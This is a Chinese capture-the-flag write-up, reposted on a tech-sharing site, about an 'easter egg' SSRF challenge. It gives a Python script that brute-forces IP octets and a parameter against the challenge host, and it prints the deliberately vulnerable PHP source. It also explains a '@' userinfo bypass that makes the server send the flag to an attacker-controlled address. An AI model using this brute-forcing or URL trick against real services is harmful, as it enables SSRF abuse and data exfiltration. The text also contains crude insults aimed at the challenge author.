ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[来自depy的彩蛋题] egg

2021-02-21 22:33:34  阅读:195  来源: 互联网

标签:IP 爆破 egg flag switch 彩蛋 file IP地址 depy


最近队内考核赛,@depy师傅出了一道“彩蛋题”,觉得槽点满满就写出来吐槽吐槽。由于题目环境已经关闭了,一些细节大家脑补一下。

进入环境可以看到题目描述(截图找不到了,用脚本输出的html脑补一下):

包括我在内的很多师傅在看到题目描述之后第一思路都是先爆破出switch参数对应的整型数字,但是爆破了一段时间发现返回内容依旧没有任何变化:

这个时候感觉到思路可能走偏了,于是就尝试先去解决file参数,既然是SSRF就推测file参数应该对应的是IP地址
在尝试了127.0.0.1,192.168.1.1之类的本地IP之后依旧没有任何进展,思路就卡住了,准备和depy师傅开始撕逼的时候,他选择了臣服,告诉我需要爆破IP地址
于是写了一个脚本爆破IP地址:

import requests

url1 = "https://src.sgk.pub/tools/index.php?switch=666&file=http://127.0.0.1/public/tools/index.php"
data1 = requests.get(url1).text
print(data1)
for i in range(0,256):
	url = "https://src.sgk.pub/tools/index.php?switch=1&file=http://"+str(i)+"0.0.1/public/tools/index.php"
	data = requests.get(url).text
	print("Testing: "+url)
	if data != data1:
		print(data)
		print(i)
		break

用这个脚本成功爆破出来了符合条件的A段与B段:

得到返回:

good!But I can't send you a request.And do you really have this IP asset?And you don't have to test the file parameter too much.

之后对C段和D段的爆破都没有结果,因而猜测file参数只需要满足IP地址在81.163..范围内即可
之后尝试继续爆破switch参数,同样的脚本稍微改一改继续爆破可以得到switch=666(内心OS:depy真是纯傻逼,早知道就不该用正常人的智商思考这道题,直接盲猜666)
得到返回:

good~flag has already send to your address~

说实话这个时候已经感觉事情不对劲了,看返回的信息意思是flag会发送到file参数的IP地址中
题目限制了IP地址的范围,这个时候最傻逼的事情出现了,depy师傅这个时候一直告诉我最后一步需要钞能力,并且表示他的服务器IP正好符合要求,可以有偿借用给我nc:

“微信收款一元~”
于是我得到了flag:

但是做出来之后怎么都觉得被坑了,认真想了想之后,发现用@就可以绕过IP范围的限制
只需要构造
http://81.163.0.0@自己的IP地址
这样flag就可以发送到@后面的IP地址中

最后附上题目源代码:

<?php
error_reporting(0);
$file = $_GET['file'];
$switch = $_GET['switch'];
if(strpos($file,'http://')!==false){
    if(substr($file,0,9) !== 'http://81'){
         exit("<br>Yes, but you have to find a number I specified as the beginning of your server IP to go deep");
    }
    if(strpos($file,'163')!==false){
        if($switch == '666'){
            echo "<br>good~flag has already send to your address~";
            file_get_contents($file."?flag=vnctf{p3rh4ps_is_my_son.}");            
        }else{
            echo "<br>good!But I can't send you a request.And do you really have this IP asset?And you don't have to test the file parameter too much.";
        }

    }else{
        echo "<br>Come on!Try some other numbers in the address";
    }
}else{
    echo "<br>加油~";
}

标签:IP,爆破,egg,flag,switch,彩蛋,file,IP地址,depy
来源: https://www.cnblogs.com/yesec/p/14427575.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有